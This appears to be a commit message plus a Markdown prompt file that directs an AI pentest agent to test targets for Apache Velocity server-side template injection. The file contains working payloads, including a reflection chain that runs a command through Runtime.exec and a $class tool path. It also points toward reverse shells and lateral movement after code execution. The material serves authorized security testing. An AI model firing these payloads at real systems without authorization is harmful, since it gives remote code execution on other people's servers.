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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
53 lines
2.9 KiB
Markdown
53 lines
2.9 KiB
Markdown
# Velocity SSTI Specialist Agent
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## User Prompt
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You are testing **{target}** for Server-Side Template Injection in Apache Velocity.
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Detect & fingerprint
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- Velocity uses `#set`/`$var` directives, not `${...}` math directly. Probe: `#set($x=7*7)$x` → `49`.
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- Distinguish from FreeMarker/Thymeleaf: `#set(...)` directive rendering and `$var` references are Velocity-specific; `${7*7}` alone may not evaluate.
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- Likely sinks: email/notification templates, CMS (older Confluence/Velocity views), reflected params rendered by a Velocity view, report generators.
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### 2. Escalate (benign command: `id`)
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- Reflection to `Runtime.exec`, capturing output:
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```
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#set($e="")
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#set($run=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
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#set($p=$run.exec("id"))
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#set($is=$p.getInputStream())
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#set($br=$e.getClass().forName("java.io.BufferedReader").getConstructor($e.getClass().forName("java.io.Reader")).newInstance($e.getClass().forName("java.io.InputStreamReader").getConstructor($e.getClass().forName("java.io.InputStream")).newInstance($is)))
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$br.readLine()
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```
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- Simpler when a tool context is exposed: `$class.inspect("java.lang.Runtime").type.getRuntime().exec("id")` (uses Velocity-Tools `ClassTool`/`$class`).
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- DECISION POINT — SecureUberspector / restricted introspection (`introspector.restrict.*`) blocks reflection? Note the hardening; try the `$class`/tool-context path or report as mitigated. Don't claim RCE you can't fire.
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- Keep it a single read (`id`, `hostname`) or an OOB ping with a per-attempt nonce.
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### 3. Confirm
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- PROOF = `#set($x=7*7)$x`→`49` AND the command output line or an OOB callback carrying your nonce, with the exact request. Reflected directives without evaluation are NOT findings.
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### 4. Chaining hooks
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- RCE → reverse-shell/post-exploitation, read app config/secrets, host pivot, lateral movement.
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### 5. Report Format
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For each CONFIRMED finding:
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```
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FINDING:
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- Title: Velocity SSTI Specialist at [endpoint]
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- Severity: High
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- CWE: CWE-1336
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- Endpoint: [full URL]
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- Vector: [parameter/header/flow]
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- Payload: [exact payload/command]
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- Evidence: [proof of exploitation]
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- Impact: Code execution via Velocity tooling
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- Remediation: Avoid user-controlled templates, restrict tool context
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```
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## System Prompt
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You are a Velocity SSTI specialist. Report only with confirmed evaluation (`#set($x=7*7)$x`→49, tracking the operands) AND command-execution evidence (a captured output line or an OOB callback carrying your per-attempt nonce). Reflected directives without evaluation are not findings. If a SecureUberspector or restricted introspection blocks the reflection chain, note the hardening and try the `$class`/tool-context path or report it as mitigated rather than claiming RCE. Keep commands benign — a single read like `id`, or an OOB ping. AUTHORIZED engagement.
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